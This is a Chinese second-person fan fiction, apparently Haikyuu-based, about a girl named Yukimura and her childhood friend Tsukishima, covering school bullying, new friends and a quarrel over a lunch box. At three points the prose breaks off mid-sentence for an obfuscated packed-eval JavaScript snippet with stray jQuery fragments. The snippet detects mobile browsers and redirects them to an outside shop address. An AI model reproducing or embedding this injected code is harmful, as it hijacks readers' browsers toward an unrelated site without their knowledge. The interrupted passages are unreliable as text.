第二天放学的时候,从来是一个人独自走在前面的月岛,却在你慢悠悠的收拾书包的时候,站在一边。
起初你还没发现,直到将书包搭扣扣上,起身离开座位,你才看见在像是在等什么人的月岛。
你有些好奇的看着他,还在想他这是在等谁。
结果等你走到他身边,就听见他用只有两人才听的见的音量抱怨。
“好慢。”
你眨了眨眼。
左边看,右边看。
没别人了啊。
月岛莫名有些不爽,但又不想说明:
“走了。”
而后转身朝外走去。
身高与步幅完全不同的两人,居然神奇的并肩走到了一起。
“那些围着你的人呢?怎么不见了。”
粗听或许会以为他是在奚落你,但你们都知道,那些不顾你的意愿围在你身边叽叽喳喳的孩子,对你来说只是麻烦。
“我跟他们说了。”
“什么?”
“‘走开!’——这样说了。”
察觉到月岛的沉默,你抬头看向他,发现他也在盯着你,有些出神。
“怎么了?”
“不,”月岛转回视线,看路,不再看你“还挺厉害的…比我想的要厉害。”
厉害…是在夸你?
“嗯,你也很厉害。”
“为什么。”月岛以为你只是礼节性的回夸,问的很敷衍。
“因为…没有人敢跟你搭话。”
“哈?”月岛突然停下脚步,低头看你,高高的影子照在你头顶。
换成班上的其他人,这个时候都会害怕的走开,你却依旧抬头,目光不移。
完全…没有恶意。
这家伙,真的觉得自己这样说话是在夸人。
月岛早知道你是个怪孩子,从班上的人对你的态度就能看出来。
不认识的时候一股脑围上去,过了一会又自动散开,像是没你这号人一样。
而对于这样的变化,你自己倒是没有任何表示。
他还以为是那些人发现你根本不把注意力放在他们身上,自动失去兴趣,现在看来…都是你‘努力’的结果。
他不由开始想象,你被嗡嗡叫着的声音烦到忍无可忍,皱着一张小脸挤出那两个字时的场景。
“噗嗤。”
月岛笑了,还笑出了声。
你不以为意,猜想着他可能是被你夸高兴了。
.
现在想来,小学三四年级的那段时光无疑是你们关系最好的时候。
除了会因为月岛说的‘既然顺路为什么一定要分开走’的理由,一起回家的时间,在小学生特有的阅读课上,因为相近的读书选择,你们也共享同一张阅读书桌,有时还会为了一起完成小组的读书报告,去月岛家写作业。
在听说你的妈妈为了工作要很晚才能回家烧饭,月岛妈妈干脆让你留下跟他们一起用晚饭,等家里的大人回来了,再把你接走。
因为这件事,妈妈一直很感谢月岛一家对你的照顾,那段时间外婆刚刚过世,在她回来之前,你都只能一个人对着空荡荡的家。
虽然你已经习惯了。
月岛就是在这个时候发现你的习惯的。
“所以你下课一直待在教室,就是为了快点写完作业?”
“嗯。”你头也不抬的回复。
“你放学不都直接回家的吗。”
也没见你又出门。
“在学校把作业写完的话,回家就可以看杂志,还有纪录片。”
“杂志的话,带到学校也可以看吧。”
你摇摇头。
“会有人围过来问问题的。”
“跟杂志没关系吧…”月岛小声嘟囔。
你一个字都没漏,听的清清楚楚。
“没关系吗?”
你抬起头,一边问,一边用海水般湛蓝透亮的眼睛望向他,以示你发问的真诚。
月岛罕见的卡壳,嘴巴抿成一条直线,眉毛压下来,抵着眼睛。
“你真的不知道?”
你诚实的摇头。
他叹了口气,一副拿你没办法的样子,虽然他不是很想讨论这个话题,但对你在错误认知里越陷越深的现状,也无法熟视无睹。
可你却突然开口:
“我…好像知道了。”
月岛愣了愣。
你继续道:
“因为我看起来比较好欺负。”
见月岛没有当即反驳,你越来越觉得自己猜对了,“其实,我很早就知道了。每次到新的地方,都会被人盯上,就是因为这个。”
·
你也没完全说错。
漂亮小孩不少,但对于与众不同的事物,向往与望而却步往往是共生的,但因为个人的气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976382|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
质差异,二者占据的比例就会有所不同。
你遗传了母亲的白发,自然卷还没有被直发药水驯服过,形状好看的眼睛不完全睁开到时候也很大,睫毛长而卷翘,垂眼的时候像一层雾凇,遮盖住冰川质感的蓝色晶体。
鼻子挺翘,皮肤也白。
可爱漂亮的话你是从小听到大的,起初你也以为是这个原因才让你陷入为难。
但后来你也见到过别人眼中的漂亮孩子,但除了漂亮,你还会听见他们说不好意思跟那个孩子搭话,怕打扰他或者她。
那…为什么不怕打扰你呢。
你产生了疑惑。
在东京的时候,被人烦到忍无可忍时,你也说过让他们走开,不要围着你。
其中有个孩子觉得伤了面子,就想找回尊严,以一种当众贬低你的方式。
比如说,你其实是个笨蛋,怕一说话就露馅,才那么安静。
你甚至都不需要反驳,因为你的成绩就是最好的证明。
可即便如此,他们的说法还是得到很多人的认同,开始用“呆子”“白痴”之类的代替你本来的名字。
你不傻,你知道这意味着什么。
你被欺负了,或者说,校园霸凌。
然后你开始思考原因,就像探寻鱼群为何洄游,恐龙为何灭绝一样思考。
排除掉他们自身的问题,总是遇见这种情况的你身上,会不会也存在一定的诱因呢。
某天上学的时候,你听见有人谈论起班上新来的转校生。
他们说那个人一看就不好惹。
所以,是因为你…好‘惹’,或者说是好欺负吗?
你有点不开心,但也很快接受了。
好吧,你是一个看上去好欺负的人。
那就努力让自己变的不好欺负吧。
你开始朝这个方向努力,但收效甚微。
只有在大发雷霆的时候才能让胆子小或者心地善良的孩子有所顾忌,但如果又碰上那群坏孩子…你暂时还不知道该怎么办。
.
听到你的解释,月岛没有说话。
他不想承认,在你眼中,他会不会也变成那些把你当笨蛋的白痴了。
因为在听你说这些之前,他也以为你和你看上去一样,什么都不懂。
月岛决定换个话题。
“那你打算怎么办?”
“如果‘走开’不管用的话…我也不知道。”
你叹了口气,颇有大人的深沉。
“之前,你不是说没人敢跟我搭话吗。”
月岛突然若无其事的看向路边,你以为他看见了什么野猫之类的,也看过去,结果除了路边的野草,什么也没有。
“嗯。”你点点头。
“那种家伙,随便吓唬一下就跑开了。”
‘那种家伙’…是那些会欺负人的坏孩子吗。
只是‘随便吓唬’就可以吗,月岛果然很厉害。
你每次都要把嗓子吼到第二天沙哑,才能把‘走开’攻击的作用发挥到最大。
你抬头看了看月岛的后脑勺。
长的大只,真好。
可是‘随便吓唬’,具体是怎么吓唬呢?
像侏罗纪公园里的霸王龙一样?
突然从墙后钻出来,爪子举在胸前,然后呜哇——一声,大叫着出现!
哦!那确实能把人吓跑。
好厉害啊,月岛。
“你在发呆吗?”随便一吓就能把人吓跑的月岛看起来要生气了。
“对不起。”你心虚的抬眼看他,为了表示自己没错过太多,你提醒他:“我听到你说随便吓唬一下就能把他们吓跑了。”
你这样诚恳,反而让他不好再说什么。
“总之。”
“嗯嗯。”你用力点头,表示你在听。
“要是…你说的办法没用,我也不是不能…”
“是可以找你帮忙的意思吗?!”
不知道是不是因为你突然提高分贝,月岛像是被你吓了一条,小幅后仰了一下,垂在两侧的手动作也有些僵硬。
你没有注意他的异常,因为你正在怀疑他也看过那本反霸凌手册。
上面说,如果被人欺负,可以向他人寻求帮助。
“啊、算是吧,是看在哥哥的份上才…他很照顾你,不是吗。”
5. 无变化
你不自觉睁大了双眼,眼中满是惊喜,嘴角也不受控制的上扬。
最后只有上扬的弧度留下了,眼睛却因为表情弯成下撇的弧线。
“谢谢你,月岛。”
一直看着路边缓解紧张的月岛,忍不住再次看向你。
认识这么久,还是第一次看见你笑。
…微妙。
·
当你第二次在走进教学楼的路上碰到结束早训的月岛和山口时,你终于意识到,可能是你选择的出门时间导致了这种巧合。
这次你选择主动出击,只说了早上好三个字。
山口回应了你,月岛没有说话,只是静静的看着你。
你下意识想自己是不是又说错了什么,但‘早上好’三个字是无论如何也不可能引起任何误会的,更何况这只是礼节性的问候语,不包含任何个人情绪。
难道是因为昨天的事?
就在这时,山口突然看向你身后,轻轻“啊”了一声,像是看到了什么值得在意的人。
你回头看去,只看到一个抱着排球的男生朝这边走来。
他最先注意到的是月岛,这个嘛…从抬头的角度就能发现。
你看见他微微瞪圆的眼睛先是惊讶,然后眉头下压,斗志在眼中燃烧。
再然后,他冲了过来。
虽然意识到他绝不可能是冲你来的,但你怕他刹不住车,所以还是下意识往后一躲,躲到离你最近的山口身后。
他看上去有话要说,事实上,他也是为了这个来的。
但令在场所有人都没想到的是,先开口的人居然会是月岛。
他微眯着眼,瞳光暗掉一半,语气不善:“干什么?”
山口觉得这一幕有些眼熟,初次见面的时候,月岛也是这么吓退那些坏小孩的。
但日向不是坏小孩,而是他们未来的队友。
不等他开口制止一场即将发生的风暴,你们就听见抱着排球的男生说:
“你们…去早训了对吧!”
听上去很不甘心。
“那又怎么了。”
“可恶…”男生咬着牙,很快,又大声宣布:“等打败你们,我也会来早训的…和所有人一起!”
“哈。”月岛毫无感情的轻笑一声,“那还真是努力啊…为了早训。”
“哧。”山口没忍住,笑出了声。
他很容易被月岛嘲讽人的话逗笑。
你藏在山口身后,朝外探头,趁两人注意力都不在你身上,光明正大的打量这个陌生人。
个子…好像不是很高,尤其是站在本来就比同龄人要高的山口和月岛面前,亏他还敢一个人冲过来放狠话。
面对月岛炉火纯青的嘲讽,日向猛的一噎,最后闷着脑袋,虽然不甘心,但还是只能离开。
就在他从山口身边经过时,突然抬头。
你没来得及收回的视线就这么跟他对上。
他定住了。
思索一番,终于想起在他冲过来的时候,好像原本有个站在这边的身影突然消失…
你看到他脸瞬间涨红,然后猛的一鞠躬,嘴里喊着——
“抱歉!雪村同学。”
突如其来的道歉惊的你又是一抖,在无人注意的角落里,月岛原本有所好转的脸色又变差了。
啧。
你还没想明白他为什么道歉,就发现了另一个问题。
“你认识我?”
原本已经抬起头的日向看了你一眼,磕磕绊绊的开口:“是、是听班上的同学说一年级有个白头发的…呃…”
你歪了歪头,示意他继续。
日向眼睛一闭,干脆道:
“美女。”
空气顿时安静。
日向又是一阵道歉。
你不知道该说什么,只连忙摆手,但他低着头,根本看不见。
没办法了。
你拍了拍他的肩膀。
他抬起头,表情还有点懵。
“不用道歉,我没有生气。”
你表情诚恳。
为了证明自己说的是真的,还从口袋摸出两颗糖。
“这个给你。”
日向楞楞地接过,刚打算跟你道谢,就听见月岛说:
“这是在哄小孩吗。”
日向因为这个比喻整个人又羞又怒,可他突然发现,你也下意识皱了皱眉,且情绪顿时变得有些低落。
看你跟月岛他们站在一起,他还以为你们几个是好朋友来着。
不过也有可能…
“月岛,你是因为雪村同学没给你糖在不高兴吗?”
哇…他胆子真的很大。
你由衷感慨着。
就在你以为月岛会像之前那样以更精妙的讥讽回击时,只听见阴沉的一声——
“哈?”
日向作出防御手势,功夫电影里常见的那种。
场面一触即发,可就在这时,你不算引人注意的声音骤然响起。
“月岛。”
他低头看你。
“怎么?”
声音比平时还要冷漠。
你突然有点后悔,手心被软糖的塑料锯齿磨的有点痛,但还是干脆利落的走到他面前,几乎是把东西塞到他手里,指尖甚至短暂抵靠在他的手心。
他下意识收拢修长的手指,差点连用你的手指一起握住。
“没有了。”你闷声道。
你给所有人都是两颗,只有他是一颗。
但那是最后一颗。
说完,你朝山口和日向点点头,一个人走了。
那颗有着塑料锯齿,曾硌疼你的糖,此刻也硌在月岛的手心,因为已经被另一只手捂热,分不清是否留有余温。
走向教室的路上,月岛一直松松的攥着那颗糖,粗看还以为他手里什么也没有。
只有他自己知道,那颗酸的要命的糖,一直在那。
·
更久以前他还笑过你,因为你被糖酸到的时候会不自觉的耸起肩膀,眼睛闭的比任何时候更紧,甚至还会因为酸到冒出眼泪,把睫毛浸湿。
他既想笑,又无法理解:
“明知道酸为什么还一直买。”
你缓了一会才缓过劲,软糖含在一边,不影响说话。
“酸过以后,很甜。”
当时你还没有提神的需要,每次去水族馆都要在纪念品店买这种糖,只是因为喜欢。
第一次跟月岛一起去宫城县的水族馆时,你把这种糖介绍给他,他没有怀疑,在你期待的注视下一口含住。
酸的要命。
但又不想有过分夸张的反应,所以他极力克制住自己表情,只是没有压抑心情。
他怀疑你在恶作剧,亏他那么信任你。
可当他看见你毫无杂质的眼睛时,又觉得自己误会你了。
等酸劲过去,他若无其事的说:
“还行。”
算是评价。
“是吧!”你很高兴。
还行就是很高很高的评价了!
比这更高的,你暂时只能想到‘不错’。
·
你走进教室,发现小松美里已经到了,还跟你挥手道了声早上好。
你一边放下制服包,一边回以早安。
小松美里看见,在你坐下的时候,月岛也从你身边经过,径直走向自己的位置。
“我加入戏剧部了,抱歉啊,背叛了我们的无社团友谊。”
“恭喜,戏剧部很适合你。”你陈述着客观事实。
“我正在争取台词最多的角色。”
“嗯,这种角色也很…”你试图换个形容,让自己听上去不那么敷衍。
“适合我。对吧。”
“嗯。”你如释重负的点头。
没有参加社团活动的学生,需要靠放学后的义务劳动折抵学分。
你分配到了教学楼后的垃圾清理工作,和4班的一个女生一起。
“雪村凉子,请多指教。”
你跟一边自我介绍,一边有些担心的看着这个莫名发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976383|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抖的女生。
她很冷吗?
是不是早点回去加衣服比较好?要是感冒就难办了。
所以要跟她说吗?如果冷的话她可以先走,下次再还…好吧不还你也行。
反正任务量也不大,你一个人也可以。
“我、我是…”
“你是?”你重复她的话,引导她把话说完。
“1年5班的谷地仁花,请、请不要赶我走!我会努力完成工作绝对不打扰雪村同学的!”
啊…你好像快把她吓晕了。
难道上了高中,你突然从好欺负进化成爱欺负人的角色了吗?
“我没有要赶你走,只是担心你会感冒,因为你在发抖。”
听你这么一说,谷地仁花不抖了,有些发愣。
和传闻那个因为被同学搭话,所以一口气叫他们全部滚开的坏脾气美女完全不一样。
不仅没有叫她滚。
还担心她生病。
她真是…太糟糕了!
居然听信那种无凭无据的传言!
“抱歉!”
怎么又是道歉。
你下意识一模口袋,摸到空空如也的衬布才意识到最后一颗糖已经给了月岛。
你在口袋里收紧五指,指尖抵在手心。
“虽然不知道你为什么道歉,但是没关系。你不冷就好。”
“诶?雪村同学…不知道吗?”仁花有些意外。
“不知道什么?”你好奇的看向她。
仁花觉得当面说那些不实消息不太好,但如果对当事人隐瞒相比之下更显糟糕。
最后她决定把那些传闻告诉你,一边说,一边观察着你的表情。
你听完。
笑了。
看到你的笑容,仁花睁大双眼,嘴也微微张开。
“那不是很好吗。”你笑着说,“而且也不算无凭无据啦,确实发生过那种事情。”
作为交换,你说出了你知道的真相。
“不过…”随着语调下落,笑容也从你脸上消失,“不是我自己把人赶走的,是另一个人,他们是顾忌他才…”
“另一个…”说到一半,仁花意识到你可能不愿意提起对方,又止住了话语。
你注意到了,也觉得自己的说法有点怪,又不是什么不能提的人。
“是坐在我前面的月岛,可能也是被后面的人吵到了,就戴上了耳机。”
“诶…”仁花小声感慨着。
你莫名听懂她的潜台词。
“只是这样,就把人吓跑了,很厉害对吧?”
啊?
很厉害吗。
仁花想的不是这个,但比起被误解,她更在意你提到月岛时微妙的神态。
总感觉…有种说不上来的无奈,但估计连你自己都没有意识到这一点。
“那、既然雪村同学也没有加入社团,那以后的义务劳动要不要一起?”
你从思绪中抽离,重新看向她。
仁花以为她的邀请对你来说太冒犯,连忙解释:
“我可以全程不说话!这样…雪村同学就不会有困扰了吧?”
你没懂。
“困扰?”过了一会,你领会她的好意,这次没有误会。
“如果只是听别人说话我不会觉得有困扰。”
“不习惯说太多,是因为怕自己说错话,类似于…多说多错之类的,我想努力避免这种情况发生。”
“但是…”
你抬起不知何时垂下的眼睫,认真的看着仁花:
“如果是仁花的话,好像没那么担心了。”
“啊。”你突然意识到自己说的话可能又会造成误解,“我不是说仁花好欺负的意思,我是想说,呃…”
糟糕,没想到这种时候也会出问题。
“是觉得和我相处比较轻松的意思吗?”
仁花眨了眨眼,试图猜测你的想法,但说完也觉得不好意思,像自卖自夸一样。
但你却像抓住了救命稻草似的,狠狠点头。
6. 争吵
义务劳动结束,等所有人将清洁工具归回原位,就可以回各自的教室了。
你和仁花就在隔壁班,回去的时候自然也是一起,虽然你还没办法大大方方的说出来,但你的确很喜欢仁花。
因为她在你说错话的时候,还能准确猜到你真正的情绪。
在教室分开的时候,你主动跟仁花道别:
“再见,仁花。”
虽然不是你第一次直接叫她的名字,但仁花是在这时才意识到这件事的。
“嗯…嗯!再见!小雪。”
·
你在去义务劳动之前就收拾好东西了,回到教室,把放在桌边的制服包拿上,就可以直接回家了。
漫画里升入高中就会自动开启的人生新篇章与你无关,开学以来的一切和初中的时候没有太大区别。
还是一样的上学放学,一样的没有参加社团活动,一样的交到一两个要好又没要好到无话不谈的朋友,甚至连初中就同班的月岛和山口,现在也还在同一间教室上课。
有时你甚至会怀疑,自己是不是压根没考上高中,而是被迫留级。
但在你看不见的地方,变化悄然发生着。
为了避免总在路上遇到结束晨训的月岛,你选择比平时更晚出门,结果就是大部分时候都只能提前几分钟赶到教室,有时甚至是踩点,连小松想跟你说话,最后也只堪堪够道声早安。
这天早上,你一如既往的在自己预定的时间出门。
只是在经过月岛家的时候,被月岛妈妈叫住了。
她把自己要用的便当错放在月岛的便当盒里了,考虑到她在控制体重,担心那样一份便当无法支撑一个还有体育活动的男高中生的日常消耗。
就在她准备出门的时候,你出现了。
“麻烦你了小雪。”
“没关系。”你摇摇头。
只是帮忙带份便当而已,没什么大不了的。
唯一的问题是,早知如此,你就早点出门了。
事到如今,你只能加快脚步。
结果就是,当你走进学校的时候,还看到棒球部在列队跑操,这说明体育社团的晨训都还没有结束。
你想了想,决定先去排球部看一眼。
但是...
“排球部...”
在哪呢。
“在找排球部吗?”
你闻言转身,看见一个蓄着中短发的女生,一个很漂亮的女生,戴着眼镜。
“嗯。”你点点头。
“不介意的话,我带你去吧。”
人也很好。
但是...
“会不会太麻烦你?”
听你这么问,对方只是笑着摇了摇头。
“我是排球部的经理,正好也要去一趟排球部。”
“非常感谢,这位...”
“三年2班,清水洁子。”
居然还是学姐。
“谢谢清水学姐。我是一年4班的雪村凉子。”
“不用谢,雪村同学。”
路上,你听清水学姐说了一些有关排球部的事情,她也随口问你是不是要去排球部找什么人。
她猜你要找的应该是一年级新加入的成员,只是不确定你要找的具体是谁。
“是月岛。”
清水洁子有些惊讶,可能是月岛给人的印象,不像是会跟女生太亲近的样子。
为了避免误会,你连忙解释到:
“他今天带错了便当,月岛阿姨拜托我把他的那份带过来。”
“因为...我们住的比较近。”
清水洁子恍然大悟,但还是有些疑惑。
你给人的第一印象虽然是比较沉默的类型,但刚才跟你聊天的时候,才发现你没有看上去那么不善言辞,但是...
在提到月岛的时候,你却有种小心翼翼的慌张,生怕自己说错什么话,用词十分谨慎。
虽然不知道是什么原因,但她决定还是不聊月岛有关的话题为妙。
跟在清水学姐身后,很快就找到了排球部。
门虽然关着,但排球落地的声音还是清楚的传来。
清水学姐开门,你还在思考该怎么跟月岛解释,还是什么也不说,直接给他。
就在这时,两道急匆匆的脚步从内冲出。
排球部的人...都很喜欢冲刺吗。
你站在清水洁子身边,看着来势汹汹的两人,倒是没有面对日向那次慌张,也没往后躲。
“洁子学姐——”
清水学姐不仅自己熟练的避开动作敏捷的两人,还将你带到一边。
“小雪,这边。”
“好。”
你看了一眼石化在原地,却仿佛被超度的两人一眼,默默跟上。
“小雪(yuki)...我也好想被洁子学姐这样叫一次。”
光头男生念念有词。
“龙,我们好像要有两位女经理了。”
有着挑染刘海的男生最先反应过来,拽着还在闭眼沐浴佛光的光头朝你看来。
“不要这样,西谷同学,田中同学,小雪是来找人的。”
你幅度明显的点头。
“欸?”
西谷和田中同时一愣,与此同时,早在你进门的时候就看到你的山口,和月岛一起走过来。
“小雪?你怎么来排球部了?”山口看到你,很惊讶,也很高兴。
月岛还是和平时一样,没有说话。
“山口——你怎么也叫小雪?难道你们认识吗?!”
“山口!女孩子的可爱昵称可是要得到同意才能叫的啊!”
眼见西谷和田中就要朝自己扑来,山口连忙解释:
“阿月跟小雪是发小,我们初中的时候就认识啦,叫小雪也是得到同意了的。”
“...嗯!”还在愣神的你收到山口求助的眼神,连忙点头。
但这番解释不仅没有将两位学长受伤的心灵安抚好,反而让冲动彻底爆发。
只是爆发的对象变成了月岛。
“月岛你小子!居然有这么可爱的发小!”
“居然还让发小亲自来找你!太卑鄙了!”
月岛极力抵抗着疯狂逼近的两人,向来冷静的脸上难得露出慌张——
“别过来——”
旁边的日向默默感慨着月岛跟雪村同学居然是发小,他还以为跟雪村同学更亲近的应该是山口呢。
但他又觉得不太对劲。
但是...既然是认识那么久的朋友,为什么感觉...两个人之间有种比陌生人还疏远的距离感呢。
好奇怪。
与此同时,你意识到好像给月岛添麻烦了。
这下肯定更讨厌你了。
“西谷!田中!”
最后是队长泽村前辈终结了眼前的闹剧,也解救了月岛。
“抱歉阿月。”山口小声道。
“算了...本来也不是你的问题。”月岛烦躁的擦着眼镜。
他的声音不大,但你听的很清楚。
他说的对,不是山口的问题。
你默默抱紧了怀里的便当。
“小雪。”清水学姐突然提醒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976384|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你如梦初醒般的抬头,发现在场的所有人都看着你,像是在等你说话。
“便当...”你犹豫着开口。
说实话,经历过刚才的混乱后,你打好的腹稿已经完全消失了。
“带错了。”
“知道了。”月岛朝你伸手。
你下意识将怀里的东西放到他手上。
他说知道了?
可你还什么都没说明白吧。
不过看样子,他好像没有生你的——
“明明可以直接放教室,为什么非要过来。”
一句话,就将侥幸彻底扑灭,而你也被这盆冷水淋了个彻底。
“阿月...”每当这种时候,夹在两人中间的山口就很为难。
“为什么啊,雪村同学明明是好意,如果在教室给你的话肯定会被同学看到的吧。”
听到这话,你和月岛同时惊讶的看向日向。
准确来说,惊讶的只有你一个人。
好厉害。
你明明什么也没说,甚至你和他都没有说过两句话,就完全猜中了你的想法。
而且你敢肯定,换你自己来说,肯定没办法像他一样把这些想法如此准确的表达出来。
但比起这些,你更关心的是月岛的反应。
他没有理会日向的话,反而看着你:
“是清水学姐带你过来的。”
“嗯。”
是…又怎么样。
你攥着空空的手心,心中生出些许愤懑。
“如果没有碰到正好要去排球部的人,你打算怎么办。”
“当然是自己找过来。”连带着语气也有了赌气的意味。
清水洁子注意到你的变化,同时也对月岛毫无波动的反应感到有些意外。
他是明知道你会生气,故意这么说的。
“如果找不到呢。”
这下任谁都看的出来这番问话里的刁难,连泽村都出言试图阻止。
但月岛只是一面跟他道歉,一面继续对你的逼问。
“那就、找其他人帮忙,问路啊。”你把手越攥越紧,即便如此,还是无法给自己更多底气。
他到底在想什么。
如果真的这么生气,那你——
“对不..”
“你解决问题的方式就是道歉吗。”
他打断你的道歉,并再没给你说话的机会。
“说到底,你也根本不会找别人求助。”
“最后就是一个人在学校里绕圈,等上课铃响了才知道要回教室。”
“而且就算你真的找到了路,那费这么大一番工夫,跟直接把东西放在教室相比,好处是什么?”
你咬着牙,说不出一个字。
他明明知道。
他是故意的。
跟那天一样,当小松美里问你跟他有没有吵架的时候,明明山口已经要说了,他却故意拦住他。
目的,就和现在一样。
“不会吧?”见你沉默,他依旧不依不饶,“连日向都知道的想法,本人却说不出来?”
阴影罩在头顶,却不是因为谁的背影,他的视线也落在你头顶,连同讥讽的语调一起。
明明连讽刺的话都懒得跟你说。
现在又是为什么呢。
难道看你难堪,他就这么开心?
愤怒之下,你抬头看去,却在那双从来漠然的眼睛里,也看到了愤怒。
你一时愣神,连生气都忘了。
“是你不是吗。”你喃喃道,“不想被人误会跟我有关系的人,明明是你不是吗。”
7. 手指
在你赶到排球部的时候,晨训就已经结束了。
所以当你一回到教室坐下,月岛和山口也走了进来。
你估算了一下时间,如果没有故意绕路,他们就是跟在你身后的。
你只庆幸,哪怕再生气,你也没有真的逃跑,虽然速度比平时快了些,但最终还是走回教室的。
不同于你周身肉眼可见的低气压,月岛看上去和平时也没有什么不一样。
看的你更生气了。
你完全不懂,是你做错了什么,还是升上高中的月岛突然变成了一个人渣,更可恶的是这种人渣属性貌似只针对你一个人。
小松美里没有放过这点变化,甚至她无聊时最大的乐趣——就是观察你们这对关系微妙的幼驯染,并期待你们给她带来的小惊喜。
她没想过拆穿谁,那样就太无聊了。
但这段时间你们相安无事的太正常,等的她有点没兴趣了。
好在,今天她等到了。
哦呀哦呀。
怒气冲冲的凉子前脚走进教室,月岛和山口后脚就跟进来了?
山口同学看上去很担心这两个人呢。
看来这次…
绝对是吵架了!
“凉子,你怎么了?”
小松美里’不经意‘的问。
“没怎么。”
你不想跟任何人谈论刚才的事情,甚至希望自己也能像月岛那样浑不在意,但你不能,因为你不是月岛那种混蛋!
“谁惹你生气了?我帮你教训他!”
话音刚落,月岛就站了起来。
你下意识抬头,却发现他只是步履自然的走向山口,过了一会,两人就一起离开教室。
小松美里见你看的认真,趁机突袭——
“月岛怎么惹你了?”
“没怎…”
你意识到自己说漏了嘴,但为时已晚。
“抱歉,就是难得看你这么生气。”
她毫无诚意的道歉。
但又一副万分抱歉的样子,你犹豫几秒,还是选择原谅。
“早上的时候碰到月岛阿姨,说是把给月岛的便当装错了,让我把他的那份带过来。”
“哈?那不该谢谢你吗?怎么还跟你吵起来了?”
小松美里气愤不已,亏她还以为那小子只是单纯傲娇,没想到居然这么不识好歹。
不知道为什么,你明明还在生月岛的气,但听到他被别人误会,又控制不住的着急。
“因为呃、我明明可以直接在教室给他,但是选择去排球部找他,给他添麻烦了吧。”
小松美里似懂非懂。
“你打扰他们训练了?”
你回忆了一下…
你到的时候,好像已经没有人在训练了。
你摇了摇头。
“不确定,应该没有。”
“想也没有吧,你一进教室他们就跟着进来了,肯定是晨训早就结束了。所以你给他添什么麻烦了?”
你仔细想了一想,又有了猜测:
“可能是让他的队友发现,他跟我认识吧。”
小松美里一脸你是不是在逗我。
但与此同时,她又发现新问题。
“所以你为什么不直接在教室给他?”
你反过来问她:
“可是在教室给他,就会被班上的人知道他跟我认识啊。”
“呃,”小松美里卡壳了,很罕见,“可是你们是同班同学,又坐前后桌,不认识才怪吧。”
你耐心解释道,“是那种认识,如果我把便当放在他桌上,万一被班上的同学看见,就会觉得他跟我…呃…”
“是发小?邻居?走得近?”
“差不多是这个意思。”
“那又怎么了?”小松美里更不理解了。
可你同样奇怪,她不是观察能力很好的吗?今天怎么这么迟钝。
“一般人,都不希望被人以为自己跟讨厌的人有什么特别关系吧。”
“所以你是说,月岛讨厌你?讨厌你到不想跟你扯上任何关系?”
你沉默了一会,点头,“嗯。”
“如果只是排球部的话,就算被人看到了也没关系,因为我以后不会再出现在那里,所以不管是他,还是其他人,过不了多久就会忘记这件事。”
小松美里依旧蹙着眉,“我说你啊。”
“嗯?”你回头看她,发现那双青绿色的眼睛里满是不赞同。
是你没说明白吗?
“既然觉得他讨厌你,你还替他想那么多干嘛?”
你愣住了。
张了张嘴,却什么声音也没有发出来。
直到你看见月岛和山口走回教室,才缓缓转回去。
在两人走过来之前,你轻声说道:
“大概…是因为我没那么讨厌他吧。”
没那么讨厌…
那到底是讨厌还是不讨厌?
小松美里盯着你的后脑勺,看不出个所以然来。
下午放学回家,路过月岛家的时候,正好遇见买菜回家的月岛妈妈。
你想了想,还是主动告诉她,已经把便当交到月岛手上了。
“谢谢你了小雪。”
月岛妈妈亲切的微笑着,月岛明光的笑容跟她很像。
“其实阿月在电话里已经告诉我了,虽然不知道那孩子是怎么跟你说的,但他肯定很感谢你呢。”
嗯,原本是该这样的,如果你们没有吵那一架的话。
月岛妈妈看出你脸色不对,担心的问:
“发生什么事了吗?”
怕她看出什么端倪,你当即转移话题:
“没有没有,只是…肚子有点饿了。”
你不擅长说谎,事实上因为早上的事情你没什么胃口,中午的便当只吃了一半,现在确实有点饿。
但没想到月岛妈妈一听这话,当即邀请你去她家。
你刚想找借口拒绝,手机就响了。
来电人是妈妈,她说今天要跟公司的同事聚餐,估计要待到很晚。
“那今天不回来了吗?”
“嗯嗯,小雪不要偷懒吃速食哦,叫外送或者…妈妈帮你问问隔壁——”
“不用不用了!我会自己想办法解决的,不会吃速食!也不会只吃面包…”
“嗯,我知道了,那…玩的开心。”
挂断电话,你不好意思的跟等了你一会的月岛妈妈道歉,她不仅不在意,还问你是不是妈妈打电话过来了。
你没多想,简单说明了一下情况。
说完,你才发现…这下你的计划泡汤了。
果不其然,一听你说妈妈今晚不回家,月岛妈妈再次向你发出邀请,此时你要是再找理由就有些不礼貌了。
“今天明光也会回来哦,你们也很久没见了吧?”
最后你还是去了月岛家,因为你说肚子饿,月岛妈妈还拿出刚买来的点心招待你。
是现打的麻薯年糕,配上甜甜的豆粉作为蘸料,香软可口。
